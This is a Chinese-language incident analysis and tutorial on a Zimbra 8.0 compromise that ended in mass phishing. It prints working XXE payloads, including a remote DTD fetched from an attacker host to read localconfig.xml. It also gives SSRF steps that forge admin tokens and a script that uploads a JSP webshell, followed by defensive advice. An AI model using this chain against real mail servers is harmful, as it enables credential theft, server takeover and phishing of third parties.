一次由Zimbra漏洞引发的钓鱼事件
字数 1550 2025-08-07 08:22:39

Zimbra漏洞分析与利用教学文档

0x00 概述

本文档详细分析Zimbra邮件系统存在的安全漏洞,包括XXE、SSRF和RCE漏洞的组合利用方式,以及如何通过这些漏洞最终实现服务器控制并发送钓鱼邮件。

0x01 调查取证分析

  1. 日志分析

    • 检查/var/log日志发现大量向后缀为gov.cn的邮箱发送钓鱼邮件
    • 被退回邮件达3万多封
    • 钓鱼链接格式:http://XXXXXX/?i=i&m=XXXX@mail.com,其中m参数为被钓鱼的邮箱账号
  2. 系统检查

    • 发现Zimbra版本为8.0老版本,存在多个已知漏洞
    • 服务器上找到常见的jsp木马文件

0x02 漏洞详细分析

XXE漏洞分析

  1. 漏洞接口/Autodiscover/Autodiscover.xml

    • POST发送空xml返回"No Email address is specified in the Request"
    • 漏洞位于处理AcceptableResponseSchema参数时未进行过滤
  2. 漏洞代码

public void doPost(HttpServletRequest req, HttpServletResponse resp) {
    reqBytes = ByteUtil.getContent(req.getInputStream(), req.getContentLength());
    Document doc = docBuilder.parse(new InputSource(new StringReader(content)));
    NodeList nList = doc.getElementsByTagName("Request");
    for (int i = 0; i < nList.getLength(); i++) {
        Node node = nList.item(i);
        if (node.getNodeType() == 1) {
            Element element = (Element)node;
            email = getTagValue("EMailAddress", element);
            // 漏洞点:未对AcceptableResponseSchema进行过滤
            responseSchema = getTagValue("AcceptableResponseSchema", element);
        }
    }
    if ((responseSchema != null) && (responseSchema.length() > 0)) {
        if ((!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006")) 
            && (!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"))) {
            log.warn("Requested response schema not available " + responseSchema);
            // 漏洞点:将responseSchema回显,造成XXE
            sendError(resp, 503, "Requested response schema not available " + responseSchema);
            return;
        }
    }
}
  1. XXE利用Payload
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>123</EMailAddress>
        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
    </Request>
</Autodiscover>
  1. 读取特殊文件技巧
    • 使用CDATA绕过XML中的特殊字符限制
    • 远程DTD文件示例(12.dtd):
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;" >
<!ENTITY % goodies SYSTEM "file:../conf/localconfig.xml" >
<!ENTITY % end "]]>" >
  1. 完整Payload
<!ENTITY % dtd SYSTEM "http://attackip/12.dtd" >
%dtd;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&all;</AcceptableResponseSchema>
    </Request>
</Autodiscover>

SSRF漏洞分析

  1. 漏洞背景

    • Zimbra为SOAP通信设置全局管理员(zimbra),密码存储在localconfig.xml
    • 可通过/service/extension/clientUploader/upload接口上传木马,但需要管理权限(7071端口)
  2. SSRF利用条件

    • 目标关闭7071端口时,可利用ProxyServlet.doProxy()进行SSRF
    • 漏洞点:使用ServletRequest.getServerPort()获取Host头中的端口
  3. 绕过管理员检查

    • 修改Host头为ip:7071
    • 在Cookie中携带有效令牌(ZM_ADMIN_AUTH_TOKEN)
  4. 利用步骤

    • 第一步:获取低权限autotoken值
      • 使用SOAP接口发送AuthRequest获取ZM_AUTH_TOKEN
    • 第二步:构造SSRF请求
      • 设置Host为ip:7071
      • Cookie设置为ZM_ADMIN_AUTH_TOKEN=上步获取的ZM_AUTH_TOKEN
      • 将xmlns改为xmlns="urn:zimbraAdmin"
    • 第三步:获取真正的ZM_ADMIN_AUTH_TOKEN

RCE漏洞利用

  1. 上传木马
r = requests.post("https://ip:7071/service/extension/clientUploader/upload",
                 files=file,
                 headers=headers,
                 verify=False)
  1. 连接木马
    • 需要导入ZM_ADMIN_AUTH_TOKEN
    • 木马地址:https://ip:7071/downloads/XXX.jsp

0x03 完整攻击链

  1. 利用XXE漏洞读取localconfig.xml获取管理员凭证
  2. 当7071端口关闭时,利用SSRF漏洞绕过端口限制
  3. 获取高权限令牌(ZM_ADMIN_AUTH_TOKEN)
  4. 使用高权限令牌上传jsp木马文件
  5. 通过木马获取服务器控制权
  6. 利用控制的邮箱账号发送钓鱼邮件

0x04 防御建议

  1. 及时升级:将Zimbra升级到最新版本
  2. 配置加固
    • 禁用不必要的XML外部实体处理
    • 限制ProxyServlet的访问权限
  3. 监控措施
    • 监控/var/log日志异常邮件发送行为
    • 设置异常登录检测机制
  4. 权限管理
    • 严格管理管理员账户
    • 及时清理离职员工账户
  5. 文件监控:监控Web目录下的异常文件上传

0x05 总结

本案例展示了攻击者如何利用Zimbra的XXE漏洞获取敏感信息,结合SSRF绕过管理端口限制,最终实现RCE并控制服务器发送钓鱼邮件。这种组合攻击方式具有较高的危害性,管理员应充分了解这些漏洞原理并采取相应防护措施。

Zimbra漏洞分析与利用教学文档 0x00 概述 本文档详细分析Zimbra邮件系统存在的安全漏洞,包括XXE、SSRF和RCE漏洞的组合利用方式,以及如何通过这些漏洞最终实现服务器控制并发送钓鱼邮件。 0x01 调查取证分析 日志分析 : 检查/var/log日志发现大量向后缀为gov.cn的邮箱发送钓鱼邮件 被退回邮件达3万多封 钓鱼链接格式: http://XXXXXX/?i=i&m=XXXX@mail.com ,其中m参数为被钓鱼的邮箱账号 系统检查 : 发现Zimbra版本为8.0老版本,存在多个已知漏洞 服务器上找到常见的jsp木马文件 0x02 漏洞详细分析 XXE漏洞分析 漏洞接口 : /Autodiscover/Autodiscover.xml POST发送空xml返回"No Email address is specified in the Request" 漏洞位于处理 AcceptableResponseSchema 参数时未进行过滤 漏洞代码 : XXE利用Payload : 读取特殊文件技巧 : 使用CDATA绕过XML中的特殊字符限制 远程DTD文件示例(12.dtd): 完整Payload : SSRF漏洞分析 漏洞背景 : Zimbra为SOAP通信设置全局管理员(zimbra),密码存储在localconfig.xml 可通过 /service/extension/clientUploader/upload 接口上传木马,但需要管理权限(7071端口) SSRF利用条件 : 目标关闭7071端口时,可利用ProxyServlet.doProxy()进行SSRF 漏洞点:使用ServletRequest.getServerPort()获取Host头中的端口 绕过管理员检查 : 修改Host头为 ip:7071 在Cookie中携带有效令牌(ZM_ ADMIN_ AUTH_ TOKEN) 利用步骤 : 第一步:获取低权限autotoken值 使用SOAP接口发送AuthRequest获取ZM_ AUTH_ TOKEN 第二步:构造SSRF请求 设置Host为 ip:7071 Cookie设置为 ZM_ADMIN_AUTH_TOKEN=上步获取的ZM_AUTH_TOKEN 将xmlns改为 xmlns="urn:zimbraAdmin" 第三步:获取真正的ZM_ ADMIN_ AUTH_ TOKEN RCE漏洞利用 上传木马 : 连接木马 : 需要导入ZM_ ADMIN_ AUTH_ TOKEN 木马地址: https://ip:7071/downloads/XXX.jsp 0x03 完整攻击链 利用XXE漏洞读取localconfig.xml获取管理员凭证 当7071端口关闭时,利用SSRF漏洞绕过端口限制 获取高权限令牌(ZM_ ADMIN_ AUTH_ TOKEN) 使用高权限令牌上传jsp木马文件 通过木马获取服务器控制权 利用控制的邮箱账号发送钓鱼邮件 0x04 防御建议 及时升级 :将Zimbra升级到最新版本 配置加固 : 禁用不必要的XML外部实体处理 限制ProxyServlet的访问权限 监控措施 : 监控/var/log日志异常邮件发送行为 设置异常登录检测机制 权限管理 : 严格管理管理员账户 及时清理离职员工账户 文件监控 :监控Web目录下的异常文件上传 0x05 总结 本案例展示了攻击者如何利用Zimbra的XXE漏洞获取敏感信息,结合SSRF绕过管理端口限制,最终实现RCE并控制服务器发送钓鱼邮件。这种组合攻击方式具有较高的危害性,管理员应充分了解这些漏洞原理并采取相应防护措施。